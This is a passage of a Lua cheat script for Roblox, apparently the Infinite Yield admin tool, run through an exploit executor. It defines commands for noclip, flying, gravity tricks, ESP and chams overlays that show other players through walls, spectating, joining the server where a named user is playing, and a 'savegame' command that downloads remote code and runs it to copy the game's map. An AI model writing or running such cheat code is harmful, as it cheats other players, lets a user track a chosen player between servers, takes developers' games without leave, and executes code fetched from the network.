  5635. end)
  5636. if not FoundUser then
  5637. notify('Join Error','Username/UserID does not exist')
  5638. else
  5639. notify('Join Player','Loading servers. Hold on a second.')
  5640. local res = game:HttpGet("https://www.roblox.com/headshot-thumbnail/json?userId="..UserId.."&width=48&height=48")
  5641. local HttpURL = game:GetService("HttpService"):JSONDecode(res)
  5642. local ThumbGrab = HttpURL["Url"]
  5643. local Thumb = ThumbGrab
  5644. local URL2 = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..PlaceId.."&startindex=")
  5645. local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2.."0"))
  5646. local GUID
  5647. for i = 0,Http.TotalCollectionSize do
  5648. local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2..i))
  5649. for x,n in pairs(Http.Collection) do
  5650. for _,v in pairs(n.CurrentPlayers) do
  5651. if v.Thumbnail.Url == Thumb then
  5652. GUID = n.Guid
  5653. end
  5654. end
  5655. end
  5656. end
  5657. if GUID ~= nil then
  5658. notify('Join Player','Joining '..User)
  5659. game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId,GUID,speaker)
  5660. else
  5661. notify('Join Error','Unable to join user.')
  5662. end
  5663. end
  5664. end)
  5665. then
  5666. if retries < 3 then
  5667. retries = retries + 1
  5668. print('ERROR retrying '..retries..'/3')
  5669. notify('Join Error','Error while trying to join. Retrying '..retries..'/3.')
  5670. ToServer(User,PlaceId)
  5671. else
  5672. notify('Join Error','Error while trying to join.')
  5673. end
  5674. end
  5675. end
  5676. ToServer(args[1],gameID)
  5677. end)
  5678.  
  5679. addcmd('exit',{},
  5680. function(args, speaker)
  5681. game:shutdown()
  5682. end)
  5683.  
  5684. local Noclipping = nil
  5685. addcmd('noclip',{},
  5686. function(args, speaker)
  5687. Clip = false
  5688. wait(0.1)
  5689. local function NoclipLoop()
  5690. if Clip == false and speaker.Character ~= nil then
  5691. for _, child in pairs(speaker.Character:GetDescendants()) do
  5692. if child:IsA("BasePart") and child.CanCollide == true then
  5693. child.CanCollide = false
  5694. end
  5695. end
  5696. end
  5697. end
  5698. Noclipping = game:GetService('RunService').Stepped:connect(NoclipLoop)
  5699. if args[1] and args[1] == 'nonotify' then return end
  5700. notify('Noclip','Noclip Enabled')
  5701. end)
  5702.  
  5703. addcmd('clip',{'unnoclip'},
  5704. function(args, speaker)
  5705. if Noclipping then
  5706. Noclipping:Disconnect()
  5707. end
  5708. Clip = true
  5709. if args[1] and args[1] == 'nonotify' then return end
  5710. notify('Noclip','Noclip Disabled')
  5711. end)
  5712.  
  5713. addcmd('togglenoclip',{},
  5714. function(args, speaker)
  5715. if Clip then
  5716. execCmd('noclip')
  5717. else
  5718. execCmd('clip')
  5719. end
  5720. end)
  5721.  
  5722. FLYING = false
  5723. iyflyspeed = 1
  5724. vehicleflyspeed = 1
  5725. function sFLY(vfly)
  5726. repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('Humanoid')
  5727. repeat wait() until IYMouse
  5728.  
  5729. local T = Players.LocalPlayer.Character.HumanoidRootPart
  5730. local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5731. local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5732. local SPEED = 0
  5733.  
  5734. local function FLY()
  5735. FLYING = true
  5736. local BG = Instance.new('BodyGyro', T)
  5737. local BV = Instance.new('BodyVelocity', T)
  5738. BG.P = 9e4
  5739. BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  5740. BG.cframe = T.CFrame
  5741. BV.velocity = Vector3.new(0, 0, 0)
  5742. BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
  5743. spawn(function()
  5744. repeat wait()
  5745. if not vfly then
  5746. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  5747. end
  5748. if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
  5749. SPEED = 50
  5750. elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
  5751. SPEED = 0
  5752. end
  5753. if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
  5754. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  5755. lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
  5756. elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
  5757. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  5758. else
  5759. BV.velocity = Vector3.new(0, 0, 0)
  5760. end
  5761. BG.cframe = workspace.CurrentCamera.CoordinateFrame
  5762. until not FLYING
  5763. CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5764. lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  5765. SPEED = 0
  5766. BG:destroy()
  5767. BV:destroy()
  5768. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  5769. end)
  5770. end
  5771. IYMouse.KeyDown:connect(function(KEY)
  5772. if KEY:lower() == 'w' then
  5773. if vfly then
  5774. CONTROL.F = vehicleflyspeed
  5775. else
  5776. CONTROL.F = iyflyspeed
  5777. end
  5778. elseif KEY:lower() == 's' then
  5779. if vfly then
  5780. CONTROL.B = - vehicleflyspeed
  5781. else
  5782. CONTROL.B = - iyflyspeed
  5783. end
  5784. elseif KEY:lower() == 'a' then
  5785. if vfly then
  5786. CONTROL.L = - vehicleflyspeed
  5787. else
  5788. CONTROL.L = - iyflyspeed
  5789. end
  5790. elseif KEY:lower() == 'd' then
  5791. if vfly then
  5792. CONTROL.R = vehicleflyspeed
  5793. else
  5794. CONTROL.R = iyflyspeed
  5795. end
  5796. elseif KEY:lower() == 'e' then
  5797. if vfly then
  5798. CONTROL.Q = vehicleflyspeed*2
  5799. else
  5800. CONTROL.Q = iyflyspeed*2
  5801. end
  5802. elseif KEY:lower() == 'q' then
  5803. if vfly then
  5804. CONTROL.E = -vehicleflyspeed*2
  5805. else
  5806. CONTROL.E = -iyflyspeed*2
  5807. end
  5808. end
  5809. end)
  5810. IYMouse.KeyUp:connect(function(KEY)
  5811. if KEY:lower() == 'w' then
  5812. CONTROL.F = 0
  5813. elseif KEY:lower() == 's' then
  5814. CONTROL.B = 0
  5815. elseif KEY:lower() == 'a' then
  5816. CONTROL.L = 0
  5817. elseif KEY:lower() == 'd' then
  5818. CONTROL.R = 0
  5819. elseif KEY:lower() == 'e' then
  5820. CONTROL.Q = 0
  5821. elseif KEY:lower() == 'q' then
  5822. CONTROL.E = 0
  5823. end
  5824. end)
  5825. FLY()
  5826. end
  5827.  
  5828. function NOFLY()
  5829. FLYING = false
  5830. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  5831. end
  5832.  
  5833. addcmd('fly',{},
  5834. function(args, speaker)
  5835. NOFLY()
  5836. wait()
  5837. sFLY()
  5838. end)
  5839.  
  5840. addcmd('flyspeed',{'flysp'},
  5841. function(args, speaker)
  5842. if isNumber(args[1]) then
  5843. iyflyspeed = args[1]
  5844. end
  5845. end)
  5846.  
  5847. addcmd('unfly',{'nofly','novfly','unvehiclefly','novehiclefly','unvfly'},
  5848. function(args, speaker)
  5849. NOFLY()
  5850. end)
  5851.  
  5852. addcmd('vfly',{'vehiclefly'},
  5853. function(args, speaker)
  5854. NOFLY()
  5855. wait()
  5856. sFLY(true)
  5857. end)
  5858.  
  5859. addcmd('vflyspeed',{'vflysp','vehicleflyspeed','vehicleflysp'},
  5860. function(args, speaker)
  5861. if isNumber(args[1]) then
  5862. vehicleflyspeed = args[1]
  5863. end
  5864. end)
  5865.  
  5866. addcmd('togglefly',{},
  5867. function(args, speaker)
  5868. if FLYING then
  5869. NOFLY()
  5870. else
  5871. sFLY()
  5872. end
  5873. end)
  5874.  
  5875. Floating = false
  5876. addcmd('float', {'platform'},
  5877. function(args, speaker)
  5878. Floating = true
  5879. local pchar = speaker.Character
  5880. if pchar and not pchar:FindFirstChild("Float") then
  5881. spawn(function()
  5882. local Float = Instance.new('Part', pchar)
  5883. Float.Name = 'Float'
  5884. Float.Transparency = 1
  5885. Float.Size = Vector3.new(6,1,6)
  5886. Float.Anchored = true
  5887. local FloatValue = -3.5
  5888. if r15(speaker) then FloatValue = -3.65 end
  5889. Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,FloatValue,0)
  5890. notify('Float','Float Enabled (Q = down & E = up)')
  5891. qUp = IYMouse.KeyUp:connect(function(KEY)
  5892. if KEY == 'q' then
  5893. FloatValue = FloatValue + 0.5
  5894. end
  5895. end)
  5896. eUp = IYMouse.KeyUp:connect(function(KEY)
  5897. if KEY == 'e' then
  5898. FloatValue = FloatValue - 0.5
  5899. end
  5900. end)
  5901. qDown = IYMouse.KeyDown:connect(function(KEY)
  5902. if KEY == 'q' then
  5903. FloatValue = FloatValue - 0.5
  5904. end
  5905. end)
  5906. eDown = IYMouse.KeyDown:connect(function(KEY)
  5907. if KEY == 'e' then
  5908. FloatValue = FloatValue + 0.5
  5909. end
  5910. end)
  5911. floatDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  5912. FloatingFunc:Disconnect()
  5913. Float:Destroy()
  5914. qUp:Disconnect()
  5915. eUp:Disconnect()
  5916. qDown:Disconnect()
  5917. eDown:Disconnect()
  5918. floatDied:Disconnect()
  5919. end)
  5920. local function FloatPadLoop()
  5921. if pchar:FindFirstChild("Float") and pchar:FindFirstChild("HumanoidRootPart") then
  5922. Float.CFrame = pchar.HumanoidRootPart.CFrame * CFrame.new(0,FloatValue,0)
  5923. else
  5924. FloatingFunc:Disconnect()
  5925. Float:Destroy()
  5926. qUp:Disconnect()
  5927. eUp:Disconnect()
  5928. qDown:Disconnect()
  5929. eDown:Disconnect()
  5930. floatDied:Disconnect()
  5931. end
  5932. end
  5933. FloatingFunc = game:GetService('RunService').RenderStepped:connect(FloatPadLoop)
  5934. end)
  5935. end
  5936. end)
  5937.  
  5938. addcmd('unfloat',{'nofloat','unplatform','noplatform'},
  5939. function(args, speaker)
  5940. Floating = false
  5941. local pchar = speaker.Character
  5942. notify('Float','Float Disabled')
  5943. if pchar:FindFirstChild("Float") then
  5944. pchar.Float:Destroy()
  5945. end
  5946. if floatDied then
  5947. FloatingFunc:Disconnect()
  5948. qUp:Disconnect()
  5949. eUp:Disconnect()
  5950. qDown:Disconnect()
  5951. eDown:Disconnect()
  5952. floatDied:Disconnect()
  5953. end
  5954. end)
  5955.  
  5956. addcmd('togglefloat',{},
  5957. function(args, speaker)
  5958. if Floating then
  5959. execCmd('unfloat')
  5960. else
  5961. execCmd('float')
  5962. end
  5963. end)
  5964.  
  5965. swimming = false
  5966. addcmd('swim',{},
  5967. function(args, speaker)
  5968. workspace.Gravity = 0
  5969. local function swimDied()
  5970. workspace.Gravity = 198.2
  5971. swimming = false
  5972. end
  5973. gravReset = speaker.Character:FindFirstChildOfClass('Humanoid').Died:connect(swimDied)
  5974. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
  5975. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
  5976. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
  5977. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
  5978. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
  5979. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
  5980. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
  5981. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
  5982. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
  5983. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
  5984. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
  5985. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
  5986. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
  5987. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
  5988. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
  5989. speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
  5990. swimming = true
  5991. end)
  5992.  
  5993. addcmd('unswim',{'noswim'},
  5994. function(args, speaker)
  5995. workspace.Gravity = 198.2
  5996. swimming = false
  5997. if gravReset then
  5998. gravReset:Disconnect()
  5999. end
  6000. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
  6001. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
  6002. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
  6003. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
  6004. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
  6005. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
  6006. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
  6007. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
  6008. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
  6009. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
  6010. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
  6011. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
  6012. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
  6013. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
  6014. speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
  6015. speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
  6016. end)
  6017.  
  6018. addcmd('toggleswim',{},
  6019. function(args, speaker)
  6020. if swimming then
  6021. execCmd('unswim')
  6022. else
  6023. execCmd('swim')
  6024. end
  6025. end)
  6026.  
  6027. addcmd('setwaypoint',{'swp','spos','saveposition','savepos'},
  6028. function(args, speaker)
  6029. local WPName = tostring(getstring(1))
  6030. if speaker.Character:findFirstChild("HumanoidRootPart") then
  6031. notify('Modified Waypoints',"Created waypoint: "..getstring(1))
  6032. local torso = speaker.Character:findFirstChild("HumanoidRootPart")
  6033. WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
  6034. if AllWaypoints ~= nil then
  6035. AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
  6036. end
  6037. end
  6038. refreshwaypoints()
  6039. updatesaves()
  6040. end)
  6041.  
  6042. addcmd('waypointpos',{'wpp','setwaypointposition','setpos','setwaypoint','setwaypointpos'},
  6043. function(args, speaker)
  6044. local WPName = tostring(getstring(1))
  6045. if speaker.Character:findFirstChild("HumanoidRootPart") then
  6046. notify('Modified Waypoints',"Created waypoint: "..getstring(1))
  6047. WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
  6048. if AllWaypoints ~= nil then
  6049. AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
  6050. end
  6051. end
  6052. refreshwaypoints()
  6053. updatesaves()
  6054. end)
  6055.  
  6056. addcmd('waypoint',{'wp','lpos','loadposition','loadpos'},
  6057. function(args, speaker)
  6058. local WPName = tostring(getstring(1))
  6059. if speaker.Character then
  6060. for i,_ in pairs(WayPoints) do
  6061. local x = WayPoints[i].COORD[1]
  6062. local y = WayPoints[i].COORD[2]
  6063. local z = WayPoints[i].COORD[3]
  6064. if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
  6065. speaker.Character.HumanoidRootPart.CFrame = CFrame.new(x,y,z)
  6066. end
  6067. end
  6068. for i,_ in pairs(pWayPoints) do
  6069. if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
  6070. speaker.Character.HumanoidRootPart.CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)
  6071. end
  6072. end
  6073. end
  6074. end)
  6075.  
  6076. addcmd('deletewaypoint',{'dwp','dpos','deleteposition','deletepos'},
  6077. function(args, speaker)
  6078. for i,v in pairs(WayPoints) do
  6079. if v.NAME:lower() == tostring(getstring(1)):lower() then
  6080. notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
  6081. table.remove(WayPoints, i)
  6082. end
  6083. end
  6084. if AllWaypoints ~= nil and #AllWaypoints > 0 then
  6085. for i,v in pairs(AllWaypoints) do
  6086. if v.NAME:lower() == tostring(getstring(1)):lower() then
  6087. if not v.GAME or v.GAME == game.PlaceId then
  6088. table.remove(AllWaypoints, i)
  6089. end
  6090. end
  6091. end
  6092. end
  6093. for i,v in pairs(pWayPoints) do
  6094. if v.NAME:lower() == tostring(getstring(1)):lower() then
  6095. notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
  6096. table.remove(pWayPoints, i)
  6097. end
  6098. end
  6099. refreshwaypoints()
  6100. updatesaves()
  6101. end)
  6102.  
  6103. addcmd('clearwaypoints',{'cwp','clearpositions','cpos','clearpos'},
  6104. function(args, speaker)
  6105. WayPoints = {}
  6106. pWayPoints = {}
  6107. refreshwaypoints()
  6108. updatesaves()
  6109. AllWaypoints = {}
  6110. notify('Modified Waypoints','Removed all waypoints')
  6111. end)
  6112.  
  6113. addcmd('enable',{},
  6114. function(args, speaker)
  6115. if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
  6116. game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', true)
  6117. elseif args[1]:lower() == 'playerlist' then
  6118. game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', true)
  6119. elseif args[1]:lower() == 'chat' then
  6120. game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', true)
  6121. elseif args[1]:lower() == 'all' then
  6122. game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
  6123. end
  6124. end)
  6125.  
  6126. addcmd('disable',{},
  6127. function(args, speaker)
  6128. if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
  6129. game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', false)
  6130. elseif args[1]:lower() == 'playerlist' then
  6131. game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', false)
  6132. elseif args[1]:lower() == 'chat' then
  6133. game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', false)
  6134. elseif args[1]:lower() == 'all' then
  6135. game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
  6136. end
  6137. end)
  6138.  
  6139. invisGUIS = {}
  6140. addcmd('showguis',{},
  6141. function(args, speaker)
  6142. for i,v in pairs(speaker:FindFirstChildWhichIsA("PlayerGui"):GetDescendants()) do
  6143. if v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame") and not v.Visible then
  6144. v.Visible = true
  6145. if not FindInTable(invisGUIS,v) then
  6146. table.insert(invisGUIS,v)
  6147. end
  6148. end
  6149. end
  6150. end)
  6151.  
  6152. addcmd('unshowguis',{},
  6153. function(args, speaker)
  6154. for i,v in pairs(invisGUIS) do
  6155. v.Visible = false
  6156. end
  6157. invisGUIS = {}
  6158. end)
  6159.  
  6160. hiddenGUIS = {}
  6161. addcmd('hideguis',{},
  6162. function(args, speaker)
  6163. for i,v in pairs(speaker:FindFirstChildWhichIsA("PlayerGui"):GetDescendants()) do
  6164. if v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame") and v.Visible then
  6165. v.Visible = false
  6166. if not FindInTable(hiddenGUIS,v) then
  6167. table.insert(hiddenGUIS,v)
  6168. end
  6169. end
  6170. end
  6171. end)
  6172.  
  6173. addcmd('unhideguis',{},
  6174. function(args, speaker)
  6175. for i,v in pairs(hiddenGUIS) do
  6176. v.Visible = true
  6177. end
  6178. hiddenGUIS = {}
  6179. end)
  6180.  
  6181. addcmd('savegame',{'saveplace'},
  6182. function(args, speaker)
  6183. if syn_checkcaller then
  6184. notify("Loading","Fetching Moon's SaveInstance")
  6185. loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/saveinstance/master/source'))()
  6186. repeat wait() until saveplace
  6187. notify("Loading","Downloading game. This will take a while")
  6188. local placeName = tostring(game.PlaceId).." Map"
  6189. saveplace(tostring(game.PlaceId).." Map")
  6190. wait(1)
  6191. notify('Game Saved','Saved place to the workspace folder within your exploit folder.')
  6192. elseif saveinstance then
  6193. notify("Loading","Downloading game. This will take a while")
  6194. saveinstance()
  6195. notify('Game Saved','Saved place to the workspace folder within your exploit folder.')
  6196. else
  6197. notify('Incompatible Exploit','Your exploit does not support this command (missing saveinstance)')
  6198. end
  6199. end)
  6200.  
  6201.  
  6202. addcmd('clearerror',{'clearerrors'},
  6203. function(args, speaker)
  6204. game:GetService("GuiService"):ClearError()
  6205. end)
  6206.  
  6207. addcmd('volume',{'vol'},
  6208. function(args, speaker)
  6209. local level = args[1]/10
  6210. UserSettings():GetService("UserGameSettings").MasterVolume = level
  6211. end)
  6212.  
  6213. addcmd('esp',{},
  6214. function(args, speaker)
  6215. if not CHMSenabled then
  6216. ESPenabled = true
  6217. for i,v in pairs(Players:GetChildren()) do
  6218. if v.ClassName == "Player" and v.Name ~= speaker.Name then
  6219. ESP(v)
  6220. end
  6221. end
  6222. else
  6223. notify('ESP','Disable chams (nochams) before using esp')
  6224. end
  6225. end)
  6226.  
  6227. addcmd('noesp',{'unesp'},
  6228. function(args, speaker)
  6229. ESPenabled = false
  6230. for i,v in pairs(Players:GetChildren()) do
  6231. local espplr = v
  6232. for i,c in pairs(PARENT:GetChildren()) do
  6233. if c.Name == espplr.Name..'_ESP' then
  6234. c:Destroy()
  6235. end
  6236. end
  6237. end
  6238. end)
  6239.  
  6240. partEspTrigger = nil
  6241. function partAdded(part)
  6242. if #espParts > 0 then
  6243. if FindInTable(espParts,part.Name:lower()) then
  6244. local a = Instance.new("BoxHandleAdornment", part)
  6245. a.Name = part.Name:lower().."_PESP"
  6246. a.Adornee = part
  6247. a.AlwaysOnTop = true
  6248. a.ZIndex = 0
  6249. a.Size = part.Size
  6250. a.Transparency = 0.3
  6251. a.Color = BrickColor.new("Lime green")
  6252. end
  6253. else
  6254. partEspTrigger:Disconnect()
  6255. partEspTrigger = nil
  6256. end
  6257. end
  6258.  
  6259. espParts = {}
  6260. addcmd('partesp',{},
  6261. function(args, speaker)
  6262. local partEspName = getstring(1):lower()
  6263. if not FindInTable(espParts,partEspName) then print('Added to table!!')
  6264. table.insert(espParts,partEspName)
  6265. for i,v in pairs(workspace:GetDescendants()) do
  6266. if v:IsA("BasePart") and v.Name:lower() == partEspName then
  6267. local a = Instance.new("BoxHandleAdornment", v)
  6268. a.Name = partEspName.."_PESP"
  6269. a.Adornee = v
  6270. a.AlwaysOnTop = true
  6271. a.ZIndex = 0
  6272. a.Size = v.Size
  6273. a.Transparency = 0.3
  6274. a.Color = BrickColor.new("Lime green")
  6275. end
  6276. end
  6277. end
  6278. if partEspTrigger == nil then
  6279. partEspTrigger = workspace.DescendantAdded:Connect(partAdded)
  6280. end
  6281. end)
  6282.  
  6283. addcmd('unpartesp',{'nopartesp'},
  6284. function(args, speaker)
  6285. if args[1] then
  6286. local partEspName = getstring(1):lower()
  6287. if FindInTable(espParts,partEspName) then
  6288. table.remove(espParts, GetInTable(espParts, partEspName))
  6289. end
  6290. for i,v in pairs(workspace:GetDescendants()) do
  6291. if v:IsA("BoxHandleAdornment") and v.Name == partEspName..'_PESP' then
  6292. v:Destroy()
  6293. end
  6294. end
  6295. else
  6296. partEspTrigger:Disconnect()
  6297. partEspTrigger = nil
  6298. espParts = {}
  6299. for i,v in pairs(workspace:GetDescendants()) do
  6300. if v:IsA("BoxHandleAdornment") and v.Name:sub(-5) == '_PESP' then
  6301. v:Destroy()
  6302. end
  6303. end
  6304. end
  6305. end)
  6306.  
  6307. addcmd('chams',{},
  6308. function(args, speaker)
  6309. if not ESPenabled then
  6310. CHMSenabled = true
  6311. for i,v in pairs(Players:GetChildren()) do
  6312. if v.ClassName == "Player" and v.Name ~= speaker.Name then
  6313. CHMS(v)
  6314. end
  6315. end
  6316. else
  6317. notify('Chams','Disable ESP (noesp) before using chams')
  6318. end
  6319. end)
  6320.  
  6321. addcmd('nochams',{'unchams'},
  6322. function(args, speaker)
  6323. CHMSenabled = false
  6324. for i,v in pairs(Players:GetChildren()) do
  6325. local chmsplr = v
  6326. for i,c in pairs(PARENT:GetChildren()) do
  6327. if c.Name == chmsplr.Name..'_CHMS' then
  6328. c:Destroy()
  6329. end
  6330. end
  6331. end
  6332. end)
  6333.  
  6334. addcmd('locate',{},
  6335. function(args, speaker)
  6336. local players = getPlayer(args[1], speaker)
  6337. for i,v in pairs(players) do
  6338. Locate(Players[v])
  6339. end
  6340. end)
  6341.  
  6342. addcmd('nolocate',{'unlocate'},
  6343. function(args, speaker)
  6344. local players = getPlayer(args[1], speaker)
  6345. for i,v in pairs(players) do
  6346. for i,c in pairs(PARENT:GetChildren()) do
  6347. if c.Name == Players[v].Name..'_LC' then
  6348. c:Destroy()
  6349. end
  6350. end
  6351. end
  6352. end)
  6353.  
  6354. viewing = nil
  6355. addcmd('view',{'spectate'},
  6356. function(args, speaker)
  6357. if fcLoaded then
  6358. StopFreecam()
  6359. end
  6360. local players = getPlayer(args[1], speaker)
  6361. for i,v in pairs(players) do
  6362. if viewDied then
  6363. viewDied:Disconnect()
  6364. end
  6365. workspace.CurrentCamera.CameraSubject = Players[v].Character
  6366. viewing = Players[v]
  6367. notify('Spectate','Viewing ' .. Players[v].Name)
  6368. local function viewDiedFunc()
  6369. repeat wait() until Players[v].Character ~= nil and Players[v].Character:FindFirstChild('HumanoidRootPart')
  6370. workspace.CurrentCamera.CameraSubject = Players[v].Character
  6371. end
  6372. viewDied = Players[v].CharacterAdded:connect(viewDiedFunc)
  6373. end
  6374. end)
  6375.  
  6376. addcmd('unview',{'unspectate'},
  6377. function(args, speaker)
  6378. workspace.CurrentCamera.CameraSubject = speaker.Character
  6379. viewing = nil
  6380. if viewDied then
  6381. viewDied:Disconnect()
  6382. end
  6383. notify('Spectate','View turned off')
  6384. end)
  6385.  
  6386. fcLoaded = false
  6387. NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
  6388. addcmd('freecam',{'fc'},
  6389. function(args, speaker)
  6390. if fcLoaded == false then
  6391. fcLoaded = true
  6392. local Camera = workspace.CurrentCamera
  6393. workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
  6394. local newCamera = workspace.CurrentCamera
  6395. if newCamera then
  6396. Camera = newCamera
  6397. end
  6398. end)
  6399.  
  6400. local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value
  6401.  
  6402. Spring = {} do
  6403. Spring.__index = Spring
  6404.  
  6405. function Spring.new(freq, pos)
  6406. local self = setmetatable({}, Spring)
  6407. self.f = freq
  6408. self.p = pos
  6409. self.v = pos*0
  6410. return self
  6411. end
  6412.  
  6413. function Spring:Update(dt, goal)
  6414. local f = self.f*2*math.pi
  6415. local p0 = self.p
  6416. local v0 = self.v
  6417.  
  6418. local offset = goal - p0
  6419. local decay = math.exp(-f*dt)
  6420.  
  6421. local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay
  6422. local v1 = (f*dt*(offset*f - v0) + v0)*decay
  6423.  
  6424. self.p = p1
  6425. self.v = v1
  6426.  
  6427. return p1
  6428. end
  6429.  
  6430. function Spring:Reset(pos)
  6431. self.p = pos
  6432. self.v = pos*0
  6433. end
  6434. end
  6435.  
  6436. cameraPos = Vector3.new()
  6437. cameraRot = Vector2.new()
  6438.  
  6439. velSpring = Spring.new(5, Vector3.new())
  6440. panSpring = Spring.new(5, Vector2.new())
  6441.  
  6442. Input = {} do
  6443.  
  6444. keyboard = {
  6445. W = 0,
  6446. A = 0,
  6447. S = 0,
  6448. D = 0,
  6449. E = 0,
  6450. Q = 0,
  6451. Up = 0,
  6452. Down = 0,
